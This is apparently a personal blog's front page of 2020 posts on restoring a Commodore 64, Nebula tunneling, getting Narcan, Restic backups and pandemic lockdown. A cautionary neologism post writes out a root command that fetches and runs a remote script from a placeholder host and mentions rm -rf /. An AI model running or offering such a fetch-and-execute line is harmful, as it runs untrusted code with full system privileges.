Montage: Restoring a C64 and 1541 drive.

May 20 2020

A couple of days back I posted a writeup of how I restored my old Commodore 64, from taking it apart to putting it back together and firing it up for the first time in over 30 years.  As I am wont to do, I periodically took photographs of my progress.  Well, here they are.  I didn't do a full how-to because folks more experienced than I have already done so (that's how I learned how to do this in the first place).  I'll put more stuff online as I make more progress.  Enjoy.

Adventures in retrocomputing: Restoring a vintage Commodore 64.

May 18 2020

You've probably been wondering where I've been since my last update in the latter half of April.  I mean, where would I reasonably go right now when most of the country is locked down and only a relatively small number of people with more memes running inside their heads than conscious processes are running around with mall ninja gear and weapons (some props, most unfortunately not) doing their damndest to cut the population by infecting everyone around them with covid-19?  Well.. when I haven't been working (as one does) I've been reconditioning my old Commodore-64 computer, the first computer I ever used as a kid.  I've been carrying it around with me just about everywhere I've moved but it's only recently that I've had the time to really do any messing around with it (for obvious reasons).  It has been a learning experience if nothing else, because much of my knowledge of how to do stuff on a 40 year old computer has faded and been overwritten as technology has progressed.  It's also given me a lot of appreciation for how much things have changed for the better since the days of LOAD "$",8 and LIST.  Computers may not come with their own programming languages anymore, but the ones we have are significantly more featureful, significantly cheaper (I vaguely recall seeing an advertisement for a C compiler in 1986 for the Commodore 64 for the low, low price of $275us or therabouts), and way more accessible thanks to the Web and open source software.

This was not a quick process. I worked on this project in my spare time, in between working from home, going on supply runs for my family (and decontaminating afterward), taking care of stuff around the house, and waiting for orders of components, cleaning materials, and sundry things to arrive so I could proceed.  What with supply lines being all screwed up by the coronavirus quarantine, sometimes an order from Los Angeles would take two weeks to get to northern California but an order from Massachusetts would show up two days later due to unexpected overnight shipping.  It was also a labor of considerable monetary investment; I think my parents bought my C64 for something like $500us back in 1984.ev, and I easily sank that much money over the course of a couple of weeks into this effort.  Not that it's been in vain.

The first thing I had to do was clean everything up.  40 years of use, dust, and gunk can wreak havoc on any kind of electronics and I figured that I'd have my work cut out for me.  The first step, and arguably the most fun was taking the whole thing apart layer by layer.  I used old pill bottles and some tiny test tubes to sort all of the screws by purpose (hold the case together, hold the keyboard on, hold the keyboard together, and so forth) to make it easier to put everything back together later.  I also took copious photographs every step of the way, of which I will put up a gallery a little bit later.  It never hurts to know how things were put together before you started messing with them, right?  Working on the keyboard involved dismantling it into its constituent layers.  Popping all of the keys off required just a flathead screwdriver inserted under the key and using the shaft of same to pop them loose like a lever.  The springs and screws I soaked in vinegar for 24 hours to dissolve the rust; only one spring was rusted enough to break but that was near one of the ends, so it wasn't as bad as it could have been.  The sheer amount of crap under the keys, however, was nothing short of hair raising.  A can of compressed air didn't really accomplish much.  I wound up putting the plastic body of the keyboard into the kitchen sink and working it over with dishwashing detergent and a pot scrubber to remove decades of cat hair, dust, dry skin, and crumbs.  The keys went into baggies full of warm water and hand soap overnight, agitated every two or three hours to get most of the gunk loose.  Afterward I scrubbed them in the sink with an old toothbrush to get them looking nice again.

Click for the rest of the article...

Neologism: Cave diving

Apr 22 2020

cave diving - noun phrase - The act of tunneling through multiple VPNs, bastion hosts, and chokepoints to access some network assets, usually production infrastructure in a more restricted network.  Less hazardous than but just as easy to screw up as real life cave diving.

Neologism: Software installation roulette

Apr 12 2020

software installation roulette - The practice of piping the output of a web browser or other HTTP tool directly through a system shell, usually as root to install something important.  The danger is that you don't know if the shell script has anything nefarious in it (such as rm -rf / or the installation of a rootkit) and by the time you find out it's far too late.

For example: sudo bash -c "$(wget -q -O- https://totally.legit.example.com/install.sh)"

Neologism: Discourse analysis

Apr 12 2020

discourse analysis - verb phrase -The act of accusing someone of being a terrorist/communist/infiltrator/whatever because the analyst never learned that you can disagree with someone without wanting to see them utterly annihilated.

Tunneling across networks with Nebula.

Apr 12 2020

Longtime readers have no doubt observed that I plug a lot weird shit into my exocortex - from bookmark managers to card catalogues to just about anything that has an API.  Sometimes this is fairly straightforward; if it's on the public Net I can get to it (processing that data is a separate issue, of course).  But what about the stuff I have around the lab?  I'm always messing with new toys that are network connected and occasionally useful.  The question is, how do I get it out of the lab and out to my exocortex?  Sometimes I write bots to do that for me, but that can be kind of clunky because a lot of stuff doesn't necessarily need user interaction.  I could always poke some holes in my firewall, lock them to a specific IP address, and set static addresses on my gadgets.  However, out of necessity I've got several layers of firewalls at home and making chains of port forwards work is a huge pain in the ass.  I don't recommend it.  "So, why not a VPN?" you're probably asking.

I'd been considering VPNs as a solution.  For a while I considered the possibility of setting up OpenVPN on a few of my devices-that-are-actually-computers and connecting them to my exocortex as a VPN concentrator.  However, I kept running into problems with trying to make just a single network port available over an OpenVPN connection.  I never managed to figure it out.  Then part of me stumbled across a package called Nebula, originally developed by Slack for doing just what I wanted to do: Make one port inside available to another server in a secure way.  Plus, at the same time it networks all of the servers its running on together.  Here's how I set it up.

Click for the rest of the article...

A little preparation is not a bad thing: Getting Narcan.

Apr 11 2020

Obligatory disclaimer: I AM NOT A MEDICAL DOCTOR.  SEEK PROFESSIONAL ADVICE AND TRAINING.

There's really no good way to start an article about the epidemic of opiate overdoses and deaths in the United States.  It's a terrible thing.  Unlike a lot of articles out there and stereotyping that happens, a nontrivial number of opioid deaths are due to accidental overdoses of painkillers taken by folks who are trying to manage chronic pain.  I say this as someone whose dental health history reads like Hellraiser fanfic.  If you're in so much pain that you can't even think straight most of the time, especially for years on end, it's really, really easy to make a mistake.  Case in point, the death of Art Bell in 2018 due to an accidental overdose of multiple painkillers.  Many times over the years Bell had complained on the air about his back, and a couple of times his nightly shows were cancelled because he was in too much pain to go on the air.  I've never had to use opiates in such a manner in my life, but I can definitely look at it from the outside and understand at least some of it.

Anyway, I wanted to do a quick writeup about how to get hold of the drug naloxone (local mirror, 20200411), usually sold under the trade name Narcan.  It's an opioid antagonist, which means it shoves molecules of opiate compounds out of their receptor sites and takes their place to arrest and reverse the effects of an overdose.  It can be injected intravenously either by a trained medical professional with a syringe or an autoinjector in the same way as epinepherine if one is deathly allergic to certain foods or insect stings.  Narcan is also available to civilians in the United States in a single-use, single dose nasal spray.  The idea is, you rip the packaging open, flip the little cap off, shove the end of the sprayer up the patient's nose and squeeze the device so that a mist of naloxone squirts into their sinuses to be absorbed.  It doesn't take much training to use one effectively though I do recommend getting training as part of a regular first aid certification.

Not too long ago I set about acquiring a couple of doses of Narcan to carry around with me as part of my field kit, because you never know what's going to happen.  The page on drugabuse.gov I linked to above says the following about getting naloxone:

Naloxone is a prescription drug. You can buy naloxone in many pharmacies,
in some cases without bringing in a prescription from a physician. The
major pharmacy chains CVS and Walgreens now make naloxone available
without a personal prescription in all stores in the U.S. and the District
of Columbia.

What I did was basically Google 'narcan' and the first hit was how to get Narcan.  Just to be on the safe side I downloaded a copy of the Narcan prescription aid PDF file (local copy), printed it out and brought it with me the next time I went to the pharmacy to pick up my prescriptions.  I just asked for it, handed over the hardcopy of the request, and unfortunately found out that the pharmacist on duty at that moment had never filled such a request before so it wound up not happening.  The next time I went in to get a prescription filled they had it waiting for me along with everything else: A little box of two Narcan nasal sprayers, each with 4mg ready to go.

The instructions on the box: CALL 911.  SPRAY CONTENTS OF ONE SPRAYER (0.1ML) INTO ONE NOSTRIL.  REPEAT IN 2-3 MINUTES IF SYMPTOMS OF OPIOID EMERGENCY PERSIST, ALTERNATE NOSTRILS.

To be fair, it could just as easily have been the other pharmacist at that store who was on duty, and there would not have been a week's wait and happy surprise on my next trip.  You will probably not run into that particular setback.  Total cost after insurance: $25us.

Do I need to have Narcan in the house? No. None of us use opiates. Do I feel better having it around in case somebody nearby need it?  Yes.  Do I feel better having it in my field kit, just in case? Yes, I do.

Go be safe, people.  And maybe help someone in need.

Migrating to Restic for offsite backups.

Apr 11 2020

20200426: UPDATE: Fixed the "pruned oldest snapshots" command.

A couple of years back I did a how-to about using a data backup utility called Duplicity to make offsite backups of Leandra to Backblaze B2. (referrer link) It worked just fine; it was stable, it was easy to script, you knew what it was doing.  But over time it started to show its warts, as everything does.  For starters, it was unusually slow when compared to the implementation of rsync Duplicity uses by itself.  I spent some time digging into it and benchmarking as many functional modules as I could and it wasn't that.  The bottleneck also didn't seem to be my network link, as much as I may complain about DSL from AT&T.  Even after upgrading Leandra's network interface it didn't really fix the issue.  Encryption before upload is a hard requirement for me but that didn't seem to be bogging backup runs down either upon investigation.  I even thought it might have been the somewhat lesser read performance of RAID-5 on Leandra's storage array adding up, which is one of the reasons I started using RAID-1 when I upgraded her to btrfs.  That didn't seem to make a difference, either.

Ultimately I decided that Duplicity was just too slow for my needs.  Initial full backups aside (because uploading everything to offsite storage always sucks), it really shouldn't take three hours to do an incremental backup of at most 500 megabytes (out of over 30 terabytes).  On top of that, Duplicity's ability to rotate out the oldest backups... just doesn't seem to work. I wasn't able to clean anything up automatically or manually.  Even after making a brand-new full backup (which I try to do yearly regardless of how much time it takes) I wasn't able to coax Duplicity into rotating out the oldest increments and had to delete the B2 bucket manually (later, of course).  So I did some asking around the Fediverse and listed my requirements.  Somebody (I don't remember whom, sorry) turned me on to Restic because they use it on their servers in production.  I did some research and decided to give it a try.

Click for the rest of the article...

Still on lockdown.

Apr 05 2020

All of March and most of February were spent in lockdown in the Bay Area.  I've no idea what's still open or not because the last time I was able to go anywhere outside of the house was two weeks ago.  The walk I'd planned for last weekend was cancelled on account of rain, and all things considered I'd rather not risk lowering my immune system a couple of points with cold and damp if I can help it.  Plans for the next 12 to 18 months have been unilaterally cancelled.  I've already sold my Thotcon 0x0b badge even though the conference has been rescheduled, and I've unfortunately had to cancel on HOPE as well.  The reason is this: Even though both conferences are supposed to happen after the covid-19 lockdown is (theoretically) over, there probably won't be a usable vaccine inside of 12 to 18 months. (one) (two) (three)  As the being in the house in the fewest risk categories this means that there is a good chance that I might contract asymptomatic covid-19, bring it home and give it to everybody else.  That's no good (as if that need be said).

There's really no point in watching the news for additional coronavirus news.  The pandemic is here and finding out the latest bad thing isn't going to do anybody any good.  Additionally, there's enough bad information being deliberately spread (one) (two) (three) (four) (oh, fuck it) that it takes way more processing power than a lot of us have to sort it out.  Just knowing that misinformation is being deliberately spread is disheartening.  I strongly advise that everybody take Samuel L. Jackson's advice.

Click for the rest of the article...